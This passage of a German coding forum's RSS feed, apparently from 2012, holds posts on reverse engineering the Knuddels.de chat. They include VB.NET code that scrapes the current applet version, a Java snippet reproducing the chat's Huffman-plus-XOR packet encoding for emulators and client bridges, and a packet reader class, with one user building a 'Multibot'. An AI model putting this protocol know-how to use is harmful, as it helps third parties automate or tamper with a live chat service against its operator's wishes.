#007700">),&nbsp;new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0x26</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x37</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xB9</span><span style="color: #007700">)),<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;new&nbsp;</span><span style="color: #0000BB">Shading</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0xAE</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xB7</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xFC</span><span style="color: #007700">),&nbsp;new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0x76</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x84</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xE4</span><span style="color: #007700">),&nbsp;new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0x26</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x37</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xB9</span><span style="color: #007700">)),<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;new&nbsp;</span><span style="color: #0000BB">Shading</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0xEF</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xCA</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0xB4</span><span style="color: #007700">),&nbsp;new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0xE3</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x75</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x67</span><span style="color: #007700">),&nbsp;new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">0xDD</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x4A</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0x3F</span><span style="color: #007700">)));<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Mentos</dc:creator>
			<guid isPermaLink="true">sourcecode-91/java-knuddels-toolbar-11740</guid>
		</item>
		<item>
			<title><![CDATA[[VB] [Frage] VB Applet auslesen richtig gelöst?]]></title>
			<link>sourcecode-91/vb-frage-vb-applet-auslesen-richtig-geloest-11333?goto=newpost</link>
			<pubDate>Mon, 23 Apr 2012 18:42:10 GMT</pubDate>
			<description>Hey, 
Ich hab gestern mal mich bei dem auslesen des Applet Namens probiert. 
Nun bin ich auf folgenden Code gekommen: 
 
 
PHP: 
--------- 
Imports...</description>
			<content:encoded><![CDATA[<div>Hey,<br />
Ich hab gestern mal mich bei dem auslesen des Applet Namens probiert.<br />
Nun bin ich auf folgenden Code gekommen:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">Imports&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Text</span><span style="color: #007700">.</span><span style="color: #0000BB">RegularExpressions&nbsp;<br /></span><span style="color: #007700">Public&nbsp;Class&nbsp;</span><span style="color: #0000BB">Form1&nbsp;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Private&nbsp;</span><span style="color: #0000BB">Sub&nbsp;Button1_Click</span><span style="color: #007700">(</span><span style="color: #0000BB">ByVal&nbsp;sender&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">System</span><span style="color: #007700">.</span><span style="color: #0000BB">Object</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;e&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">System</span><span style="color: #007700">.</span><span style="color: #0000BB">EventArgs</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">Handles&nbsp;Button1</span><span style="color: #007700">.</span><span style="color: #0000BB">Click&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;webc&nbsp;</span><span style="color: #007700">As&nbsp;New&nbsp;</span><span style="color: #0000BB">System</span><span style="color: #007700">.</span><span style="color: #0000BB">Net</span><span style="color: #007700">.</span><span style="color: #0000BB">WebClient&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;qt&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;appletid&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String&nbsp;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;qt&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">webc</span><span style="color: #007700">.</span><span style="color: #0000BB">DownloadString</span><span style="color: #007700">(</span><span style="color: #DD0000">"http://www.knuddels.de/index.html?v=90ama&amp;c=3"</span><span style="color: #007700">)&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">appletid&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Regex</span><span style="color: #007700">.</span><span style="color: #0000BB">Match</span><span style="color: #007700">(</span><span style="color: #0000BB">qt</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"&lt;param&nbsp;name=cache_archive&nbsp;value=""knuddelsk(.*?)"""</span><span style="color: #007700">).</span><span style="color: #0000BB">Groups</span><span style="color: #007700">(</span><span style="color: #0000BB">1</span><span style="color: #007700">).</span><span style="color: #0000BB">Value&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MsgBox</span><span style="color: #007700">(</span><span style="color: #0000BB">appletid</span><span style="color: #007700">)&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">End&nbsp;Sub&nbsp;<br />End&nbsp;</span><span style="color: #007700">Class&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>Zurzeit funktioniert er, aber ich weiß nicht ob er bei einem Update immer noch 90ama.jar ausgeben würde.</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>rVs14</dc:creator>
			<guid isPermaLink="true">sourcecode-91/vb-frage-vb-applet-auslesen-richtig-geloest-11333</guid>
		</item>
		<item>
			<title><![CDATA[[Java] Packet-Verschlüsselung]]></title>
			<link>sourcecode-91/java-packet-verschluesselung-11250?goto=newpost</link>
			<pubDate>Sun, 22 Apr 2012 12:06:58 GMT</pubDate>
			<description>Ich wollte es eigentlich auf Banana-Coding releasen, aber ist ja zur Zeit (?) wegen eines Defaces down. Ist eigentlich nur für die Server-seitige...</description>
			<content:encoded><![CDATA[<div>Ich wollte es eigentlich auf Banana-Coding releasen, aber ist ja zur Zeit (?) wegen eines Defaces down. Ist eigentlich nur für die Server-seitige Programmierung interessant, denn für den Client brauchen wir die Entschlüsselung, und die hab ich schon vor Ewigkeiten released. Ist vielleicht aber auch für andere interessant, DeKa hatte mich auch mal danach gefragt für seine Client Bridge, hier müssen die Pakete nach dem Entschlüsseln ja auch wieder verschlüsselt werden.<br />
<br />
Nach der Huffman-Kodierung folgt noch eine XOR-Verschlüsselung mit einem Key. Das Ganze ist so programmiert, dass der Key theoretisch unendlich lang sein könnte, besteht hier aber immer nur aus dem Char 'K'. Dadurch wird nur der Opcode verschlüsselt, und das nicht einmal random. Das Ganze bringt uns eigentlich nichts, aber egal, wir wollen cool sein und übernehmen es einfach mal so. Wer will kann ja auch einen Random Key generieren, aber auch das bringt nicht wirklich viel in Sachen Schutz gegen Packet Logger/Editoren.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">byte[] bytes = Huffman.getEncoder().encode(packet, 0);<br />
<br />
if (key != null) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; for (int i = 0; i &lt; key.length; i++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (bytes.length &lt;= i) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bytes[i] = (byte) (bytes[i] ^ key[i]);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
}</code><hr />
</div>Der Key wird dem Client mit dem Authentication-Packet (Opcode '(') übermittelt und wird danach festgelegt, sodass <b>key</b> hier im Code nicht mehr null ist.<br />
<br />
Edit: Wenn jemand einen Random Key generieren möchte, dann muss dieser getrimmt werden, entweder schon bei der Übergabe zum Client oder spätestens beim Festlegen.</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Flav</dc:creator>
			<guid isPermaLink="true">sourcecode-91/java-packet-verschluesselung-11250</guid>
		</item>
		<item>
			<title><![CDATA[[VB] Appletlog]]></title>
			<link>sourcecode-91/vb-appletlog-11238?goto=newpost</link>
			<pubDate>Sun, 22 Apr 2012 10:44:26 GMT</pubDate>
			<description>Hallo, 
 
hab vor einigen Wochen/Monaten mir was kleines geschrieben gehabt, welches mir das aktuelle Applet von Knuddels.de - Der Chat...</description>
			<content:encoded><![CDATA[<div>Hallo,<br />
<br />
hab vor einigen Wochen/Monaten mir was kleines geschrieben gehabt, welches mir das aktuelle Applet von <a href="http://www.knuddelz.de" target="_blank" rel="nofollow">Knuddels.de - Der Chat</a> herunterlädt und natürlich die Version anzeigt die im Quellcode wiedergegeben wird. Funktionieren tuts aufjeden Fall, allerdings hab ich nicht die nötige Zeit das Ganze weiter fortzusetzen. Wer also Lust und Zeit hat kann sich das Ganze gerne mal anschauen. Die IDE ist Visual Basic 2008.<br />
<br />
<b><span style="text-shadow: 0px 0px 10px #8d8d8d"><font size="5">Download:</font></span></b><br />
<br />
<a href="http://depositfiles.com/files/xu9qf62ik" target="_blank" rel="nofollow">Deposit Files</a><br />
<br />
<a href="http://localhostr.com/file/DcLzhCL/Appletlog.zip" target="_blank" rel="nofollow">http://localhostr.com/file/DcLzhCL/Appletlog.zip</a><br />
<br />
Teilweise ist der Source kommentiert, wie gesagt aber nicht vollständig (Label 4 wird z.B. nicht ausgefüllt)<br />
<br />
Grüße</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Devon</dc:creator>
			<guid isPermaLink="true">sourcecode-91/vb-appletlog-11238</guid>
		</item>
		<item>
			<title>Vb10 Link auslesen</title>
			<link>sourcecode-91/vb10-link-auslesen-11236?goto=newpost</link>
			<pubDate>Sun, 22 Apr 2012 10:12:34 GMT</pubDate>
			<description>Hallo, das ist mir jezt peinlich ich wolte mal fragen wie man einen link ausliest. ein der sich immer verändert. 
 
 
es geht nur ums auslesen nicht...</description>
			<content:encoded><![CDATA[<div>Hallo, das ist mir jezt peinlich ich wolte mal fragen wie man einen link ausliest. ein der sich immer verändert.<br />
<br />
<br />
es geht nur ums auslesen nicht um das regexen des applets<br />
z.b.<br />
<a href="http://www.knuddels.de/index.html?v=90ama&amp;c=6" target="_blank" rel="nofollow">http://www.knuddels.de/index.html?v=90ama&amp;c=6</a></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Sploxfreak</dc:creator>
			<guid isPermaLink="true">sourcecode-91/vb10-link-auslesen-11236</guid>
		</item>
		<item>
			<title>Wie Applet Informationen auslesen? (Knuddels.de)</title>
			<link>sourcecode-91/wie-applet-informationen-auslesen-knuddels-de-32219?goto=newpost</link>
			<pubDate>Sun, 22 Apr 2012 08:10:42 GMT</pubDate>
			<description>Ich wolte gerne mal wissen wie ich die applet infos auslesen kann, also welches applet grade von dem chat knuddels.de benutzt wird?  
 
in Visual...</description>
			<content:encoded><![CDATA[<div>Ich wolte gerne mal wissen wie ich die applet infos auslesen kann, also welches applet grade von dem chat knuddels.de benutzt wird? <br />
<br />
in Visual Basic 2010 bitte :)<br />
<br />
<br />
falsch es im falschen bereich ist bitte verschieben</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Sploxfreak14</dc:creator>
			<guid isPermaLink="true">sourcecode-91/wie-applet-informationen-auslesen-knuddels-de-32219</guid>
		</item>
		<item>
			<title>applet infos auslesen?</title>
			<link>sourcecode-91/applet-infos-auslesen-11228?goto=newpost</link>
			<pubDate>Sun, 22 Apr 2012 08:03:42 GMT</pubDate>
			<description>Hallo ich arbeite zuzeit an meinen Multibot, ich wolte gerne mal wissen wie ich die applet infos auslesen kann, also welches applet grade von dem...</description>
			<content:encoded><![CDATA[<div>Hallo ich arbeite zuzeit an meinen Multibot, ich wolte gerne mal wissen wie ich die applet infos auslesen kann, also welches applet grade von dem chat knuddels.de benutzt wird? <br />
<br />
in Visual Basic 2010 bitte :)</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Sploxfreak</dc:creator>
			<guid isPermaLink="true">sourcecode-91/applet-infos-auslesen-11228</guid>
		</item>
		<item>
			<title><![CDATA[[Java] PacketReader]]></title>
			<link>sourcecode-91/java-packetreader-11060?goto=newpost</link>
			<pubDate>Wed, 18 Apr 2012 17:40:39 GMT</pubDate>
			<description>Anlehnend an Flavs PacketWriter hier ein kleiner Reader (ich habe mich bewusst gegen den StringReader entschieden, da diese Methode hier schneller...</description>
			<content:encoded><![CDATA[<div>Anlehnend an Flavs PacketWriter hier ein kleiner Reader (ich habe mich bewusst gegen den StringReader entschieden, da diese Methode hier schneller ist)<br />
Die Klasse liest auch direkt den Nullchar als Trennzeichen mitweg.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">public&nbsp;class&nbsp;</span><span style="color: #0000BB">PacketReader&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">char</span><span style="color: #007700">&#91;&#93;&nbsp;array;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;pos&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">PacketReader</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;string</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;array&nbsp;=&nbsp;</span><span style="color: #0000BB">string</span><span style="color: #007700">.</span><span style="color: #0000BB">toCharArray</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">char&nbsp;readChar</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">readChar</span><span style="color: #007700">(</span><span style="color: #0000BB">true</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">char&nbsp;readChar</span><span style="color: #007700">(</span><span style="color: #0000BB">boolean&nbsp;readNull</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">read</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">readNull</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">read</span><span style="color: #007700">();&nbsp;</span><span style="color: #FF8000">//null<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">return&nbsp;(</span><span style="color: #0000BB">char</span><span style="color: #007700">)</span><span style="color: #0000BB">i</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">int&nbsp;read</span><span style="color: #007700">()&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">pos</span><span style="color: #007700">&gt;=array.</span><span style="color: #0000BB">length</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;(int)array&#91;</span><span style="color: #0000BB">pos</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">pos</span><span style="color: #007700">++;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">boolean&nbsp;readBoolean</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">readBoolean</span><span style="color: #007700">(</span><span style="color: #0000BB">true</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">boolean&nbsp;readBoolean</span><span style="color: #007700">(</span><span style="color: #0000BB">boolean&nbsp;readNull</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">read</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">readNull</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">read</span><span style="color: #007700">();&nbsp;</span><span style="color: #FF8000">//null;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if(</span><span style="color: #0000BB">i</span><span style="color: #007700">==</span><span style="color: #0000BB">0</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">short&nbsp;readShort</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">readShort</span><span style="color: #007700">(</span><span style="color: #0000BB">true</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">short&nbsp;readShort</span><span style="color: #007700">(</span><span style="color: #0000BB">boolean&nbsp;readNull</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;char1&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">read</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;char2&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">read</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">readNull</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">read</span><span style="color: #007700">();&nbsp;</span><span style="color: #FF8000">//null<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">return&nbsp;(</span><span style="color: #0000BB">short</span><span style="color: #007700">)((</span><span style="color: #0000BB">char1</span><span style="color: #007700">&lt;&lt;</span><span style="color: #0000BB">8</span><span style="color: #007700">)|</span><span style="color: #0000BB">char2</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">int&nbsp;readInt</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">readInt</span><span style="color: #007700">(</span><span style="color: #0000BB">true</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">int&nbsp;readInt</span><span style="color: #007700">(</span><span style="color: #0000BB">boolean&nbsp;readNull</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;char1&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">read</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;char2&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">read</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;char3&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">read</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;char4&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">read</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">readNull</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">read</span><span style="color: #007700">();&nbsp;</span><span style="color: #FF8000">//null<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">return&nbsp;((</span><span style="color: #0000BB">char1</span><span style="color: #007700">&lt;&lt;</span><span style="color: #0000BB">24</span><span style="color: #007700">)|(</span><span style="color: #0000BB">char2</span><span style="color: #007700">&lt;&lt;</span><span style="color: #0000BB">16</span><span style="color: #007700">)|(</span><span style="color: #0000BB">char3</span><span style="color: #007700">&lt;&lt;</span><span style="color: #0000BB">8</span><span style="color: #007700">)|(</span><span style="color: #0000BB">char4</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">String&nbsp;readString</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">char&nbsp;chars</span><span style="color: #007700">;<br 